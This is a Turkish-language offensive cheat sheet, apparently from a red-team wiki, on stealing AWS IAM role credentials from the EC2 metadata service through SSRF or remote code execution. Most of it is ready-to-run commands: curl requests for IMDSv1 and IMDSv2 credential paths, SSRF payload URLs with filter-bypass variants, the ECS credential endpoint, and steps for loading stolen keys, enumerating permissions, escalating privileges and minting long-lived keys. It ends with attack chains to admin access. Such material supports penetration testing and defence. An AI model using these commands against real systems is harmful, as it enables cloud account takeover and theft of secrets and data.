AWS — Metadata (IMDS) & SSRF ile Kimlik Hırsızlığı
AWS credential theft
AWS credential theft
EC2 örnekleri, 169.254.169.254 adresindeki Instance Metadata Service (IMDS) üzerinden kendilerine atanmış IAM rolünün geçici kimlik bilgilerini alır. Bir uygulamada SSRF veya RCE varsa, saldırgan bu adrese istek atarak (veya atırarak) rolün anahtarlarını çalıp bulut hesabına sıçrar. Bu, buluttaki en kritik pivot noktalarından biridir (T1552.005).
Ön koşullar
Section titled “Ön koşullar”- SSRF (sunucu 169.254.169.254'e gidebiliyor) veya EC2/container içinde RCE/shell- IMDSv1 açıksa: tek GET yeterli- IMDSv2-only ise: PUT + header zinciri veya hop limit / proxy kısıtı analiziIMDSv1 — kimlik bilgisi çalma
Section titled “IMDSv1 — kimlik bilgisi çalma”curl -s http://169.254.169.254/latest/user-datacurl -s http://169.254.169.254/latest/dynamic/instance-identity/documentcurl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROL>Diğer faydalı metadata yolları:
curl -s http://169.254.169.254/latest/meta-data/curl -s http://169.254.169.254/latest/meta-data/ami-idcurl -s http://169.254.169.254/latest/meta-data/hostnamecurl -s http://169.254.169.254/latest/meta-data/public-ipv4curl -s http://169.254.169.254/latest/meta-data/local-ipv4curl -s http://169.254.169.254/latest/meta-data/network/interfaces/macs/curl -s ${ECS_CONTAINER_METADATA_URI_V4}/taskSSRF üzerinden (uygulama URL’yi çekiyorsa):
http://169.254.169.254/latest/meta-data/iam/security-credentials/http://169.254.169.254/latest/meta-data/iam/security-credentials/rol-adihttp://[::ffff:169.254.169.254]/latest/meta-data/...http://169.254.169.254.nip.io/...Kör SSRF’de OAST yerine metadata yanıtını başka kanala taşımak gerekir (ör. webhook’a redirect, DNS exfil değil — yanıt gövdesi lazım).
IMDSv2 — token gerektirir
Section titled “IMDSv2 — token gerektirir”TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \ -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \ http://169.254.169.254/latest/meta-data/iam/security-credentials/curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \ http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROL>IMDSv2, PUT + özel başlık zorunluluğu ve çoğu zaman hop-limit=1 ile basit GET-only SSRF’yi kırar. Yine de:
- RCE / shell varsa: PUT + GET zinciri yerelde yapılır → IMDSv2 aşılır- SSRF PUT destekliyorsa veya header enjekte edilebiliyorsa → yine aşılır- Hop limit > 1 ise container/SSRF proxy üzerinden erişim mümkün olabilir- Eski stack'lerde IMDSv1 hâlâ açık (HttpTokens optional)Alternatif metadata / rol kaynakları
Section titled “Alternatif metadata / rol kaynakları”curl -s http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URIcurl -s http://169.254.169.254/latest/user-data | stringsÇalınan kimlikle devam
Section titled “Çalınan kimlikle devam”-
Kimliği yükle — AWS_ACCESS_KEY_ID , AWS_SECRET_ACCESS_KEY , AWS_SESSION_TOKEN ortam değişkenlerini ata (üçü de zorunlu).
-
Doğrula — aws sts get-caller-identity ; ARN’deki rol adını ve hesabı not al.
-
Enumerate & privesc — rolün izinlerini çıkar ( enumerate-iam , Pacu), IAM privesc zincirlerini dene; Secrets Manager / S3 / SSM’e geç.
-
Süreye dikkat — geçici token expire olur; gerekirse aynı SSRF/RCE ile yenile veya uzun ömürlü access key oluştur (yetkin varsa).
export AWS_ACCESS_KEY_ID=ASIA...export AWS_SECRET_ACCESS_KEY=...export AWS_SESSION_TOKEN=...aws sts get-caller-identityaws iam list-attached-role-policies --role-name <ROL> 2>/dev/nullenumerate-iam --access-key "$AWS_ACCESS_KEY_ID" \ --secret-key "$AWS_SECRET_ACCESS_KEY" --session-token "$AWS_SESSION_TOKEN"Komut üreteci
Section titled “Komut üreteci”IMDSv1 · credentials
embedded toolcurl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/MyInstanceRoleIMDSv1 · credentials
Section titled “IMDSv1 · credentials”Saldırı zinciri
Section titled “Saldırı zinciri”Web SSRF (URL fetch) → IMDSv1 role creds → s3:GetObject + secretsmanager:GetSecretValue → DB / ikinci hesap anahtarı → PassRole privesc → adminContainer RCE (EKS/ECS) → 169.254.169.254 veya ECS credential endpoint → node/instance role veya task role → cluster / hesap lateral